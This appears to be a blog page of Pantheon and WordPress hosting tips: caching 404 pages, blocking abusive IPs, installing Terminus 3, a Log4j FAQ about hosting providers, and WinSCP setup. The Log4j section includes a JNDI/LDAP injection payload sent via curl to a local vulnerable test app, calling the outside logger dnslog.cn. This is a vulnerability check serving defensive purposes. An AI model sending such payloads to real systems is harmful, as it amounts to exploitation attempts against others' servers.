Pantheon

Caching 404 pages in WordPress

This is to stop WordPress in handling 404, using headers to manage cache expiry. This code should be added to the theme’s functions.php file.

function template_slug_404_cache() {
	if( is_404() ){
		header( 'Cache-Control: max-age=30000, must-revalidate' );
		header( 'Expires: ' . date( 'D, d M Y H:i:s', strtotime( '+5000 minutes' ) ) . 'UTC' );
		header( 'Last-Modified: ' . date( 'D, d M Y H:i:s', strtotime( '-5000 minutes' ) ) . 'UTC' );        
	}
}

/**
 * Redirect a 404 to a cache page
 *
 * @return void
 */
function template_slug_404_redirect() {
	if ( is_404() ) {
		header( 'Location:' . site_url( '/404' ) );
		exit();
	}
}
add_action( 'template_redirect', 'template_slug_404_cache' );

Be sure that there is a 404.php file on the template directory.

Block IPs in WordPress on Pantheon

This article is about blocking IPs in Pantheon for sites using the WordPress CMS. Prevent unwanted traffic incidents that might result in site outages and billing overages.

Review the nginx-access.log.

Download the nginx-access.log on the LIVE environment. The logs can be accessed using SFTP or by using the provided script from Pantheon’s documentation. Be sure to combine all the logs for a day if the site plan has multiple application containers. Identify the IP that has the highest number of visits and verify it with https://www.abuseipdb.com/

$ cat ~/site-logs/nginx-access.log | awk -F\" '{print $8}' | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -20

Use a WordPress Plugin to Block IPs

Be sure to install the plugin WP Traffic Jammer that can be downloaded at WordPress.org https://wordpress.org/plugins/traffic-jammer. The plugin has a wp-cli command that can be used on a remote wp-cli call using Terminus. It also has a settings page to add a single IP or an IP range.

Block the IP using Terminus.

Use remote wp-cli via terminus to block the IP.

$ terminus wp <sitename>.<env> -- jam block <ip>

To unblock the IP.

$ terminus wp <sitename>.<env> -- jam unblock <ip>

Block the IP on the WordPress Admin Dashboard.

On the Admin Dashboard, you would see the left side menu, click “Traffic Jammer” and add a single IP or IPs, CIDR format can be also used for IP ranges.

Block the IP using a PHP Snippet

Use a PHP snippet that can be added to wp-config.php file. This offers an advantage since it would be triggered before loading all the plugins and themes.

if ( $_SERVER['REMOTE_ADDR'] == '154.84.133.8' ) {
  header( 'HTTP/1.0 403 Forbidden' );
  exit;
}

Terminus 3

What a great way to start a new year with releases, as this is the same for the company offering the best WebOps SAAS (Software as a Service) Platform which is Pantheon. During the last week of December, a new version tag of Terminus has been released, comes version 3.

What is Terminus?

The Terminus command-line interface provides advanced interaction with Pantheon. Terminus enables you to do almost everything in a terminal that you can do in the Pantheon Dashboard, and much more. In practice, some of the features missing on the Dashboard are included in Terminus. Developers can also include in development workflow or as part of a script for deployment using continuous integration.

Operating System Compatibility

As of this writing tested to work on the following platforms

  • MacOS
  • Windows 10 – WSL 2 Ubuntu 20.0
  • Ubuntu 20.0 – this would include Ubuntu under Docker or VirtualBox

Before getting frustrated, included also are the list of platforms that Terminus would not work:

  • Windows 10 – Command Line
  • Windows 10 – Git Bash (MingW)
  • Ubuntu 18.0 and later versions
  • Linux system with coreutils equal to or less than 8.28

Prerequisites Library

  • PHP 7.4 or above
  • PHP Extensions (mbstring, xml, curl, cli)
  • curl
  • git (if you need to include plugins)

Installation

As for the prior version of Terminus, it can be installed in many ways, the new version is limited to work only on the standalone PHAR package. Assuming all the requirements are met. Start the installation on the home folder

cd ~
mkdir ~/terminus && cd ~/terminus 
curl -L https://github.com/pantheon-systems/terminus/releases/download/`curl --silent "https://api.github.com/repos/pantheon-systems/terminus/releases/latest" | perl -nle'print $& while m#"tag_name": "\K[^"]*#g'`/terminus.phar --output terminus
chmod +x terminus
sudo ln -s ~/terminus/terminus /usr/local/bin/terminus

Plugins

The new version of Terminus comes with a plugin manager, installation now can be done using the terminus command

terminus self:plugin:install pantheon-systems/terminus-build-tools-plugin

That would work if the plugin is added to packagist, don’t worry you can add an old plugin by means of adding the path.

terminus self:plugin:install <plugin_name> <path>

To update the latest version of the plugin from packagist:

terminus self:plugin:update <plugin_name>

To remove the plugin:

terminus self:plugin:uninstall <plugin_name>

Worrying about Apache Log4j vulnerability

Apache Log4j is a logging utility that is part of the Apache Logging Services. The nature of this logging service is that it accepts logged messages to contain format strings that can be referenced remotely thru Java Naming and Directory Interface (JNDI). Information can be obtained remotely via a variety of protocols, including the Lightweight Directory Access Protocol (LDAP), Remote Method Invocation (RMI), and Domain Name Service (DNS).

Does websites using cPanel are affected?

A basic cPanel service is not affected, some services have the Apache Solr on it since the Solr service cannot be accessed remotely. All big companies that utilize cPanel like GoDaddy, Bluehost, and Hostgator are not affected by this vulnerability.

Is Pantheon affected by log4j vulnerability?

No, Pantheon is not affected by the log4j vulnerability. Here’s the information from their status page:

Pantheon has verified that the platform is not vulnerable to the security issue related to the open-source Apache “Log4j2″ utility.

Log4j is a Java-based logging utility found in a large number of software products.

The CVE-2021-44228 [1] vulnerability (aka the “Log4Shell” vulnerability) was disclosed by the Apache Log4j project. If exploited, this vulnerability could potentially allow a remote attacker to execute code on the server.

Once this vulnerability was publicly disclosed on the 9th December 2021, Pantheon began an audit of our infrastructure, as well as engaging with our software vendors, to determine potential impact. While our exposure to the vulnerability has been minimal, we have directly remediated components and verified that existing defense in depth measures prevent exploitation as researchers have published.

https://status.pantheon.io/incidents/w2p9bgp05j0j

Is WPEngine affected by log4j vulnerability?

No, WPEngine does not utilize the log4j on their platform stack.

Is Platform.sh affected by log4j vulnerability?

No by default but if the site has custom Java code better contact the development team to review the code. Here’s their official statement:

A thorough investigation of our products and services has led us to believe our services are protected from the worst form of remote code execution. The threat of information disclosure is reduced because we aren’t sending application variables to these services. To further reduce that threat, these services are also receiving updates to disable the undesired behavior of Log4j. We’ve confirmed with our backend IaaS providers and with Fastly that they’ve either been unaffected or have mitigated any exposures.

If your project is running custom JAVA code in an app container, please immediately ask your developers to review your code for Lib4j2 usage and update it to the latest 2.15 branch.

https://status.platform.sh/incidents/k443m60v5txh

Other resources

Christophe Tafani-Dereeper demonstrates this vulnerability, on this GitHub repository https://github.com/christophetd/log4shell-vulnerable-app by means of a Docker container with the version of log4j that is vulnerable.

In a terminal run:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Use this DNS logger tool dnslog.cn on your test payloads.

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}'

dnslog.cn screenshot

You can also use the site(dnslog.cn) to identify if your server is vulnerable.

Here are some guides on how to mitigate the vulnerability.

WinSCP on Pantheon

WinSCP is a popular free SFTP and FTP client for Windows, a powerful file manager that allows you to upload and download files on the Pantheon server. It provides a user-friendly interface for copying files between a local and remote computer using the FTP or SFTP protocol. This software is available only on Microsoft Windows.

Main Features

  • All common operations with files
  • Graphical Interface
  • Integrated text editor
  • Scripting and task automation
  • Translated into many languages

A complete WinSCP guide and an active user forum are freely accessible at the WinSCP site.

Download WinSCP

If you don’t already have WinSCP installed on your computer, download the most recent update and install it from their website.

Open WinSCP

Open WinSCP by accessing the application on the Windows Start menu. Make sure you have your site’s Pantheon SFTP connection information on hand. See the guidelines on how to find the SFTP credentials for your site if you need to get the connection details.

WinSCP

Enter the details from the Site Dashboard Connection Info from Pantheon. Use the password that is being used when logging into the Pantheon User Dashboard. Do check the protocol must be in SFTP and the port number is 2222.

Alternatively, you can also have passwordless access by using an SSH private key. Pantheon doesn’t offer SSH access to a shell environment but it allows it to be used on SFTP protocol.

You should add your public SSH key into your Pantheon account to get the most out of it. SSH keys are a better option for authentication than a basic password since they provide additional security protection. No matter how many sites you work on, you will only need to do this once. See Generate and Add SSH Keys for further information.

Click the Advanced select button, under SSH then click Authentication. Enter a private key in PPK format.

To get the site’s root simply navigate to the code folder and you will be able to download and upload files as normal.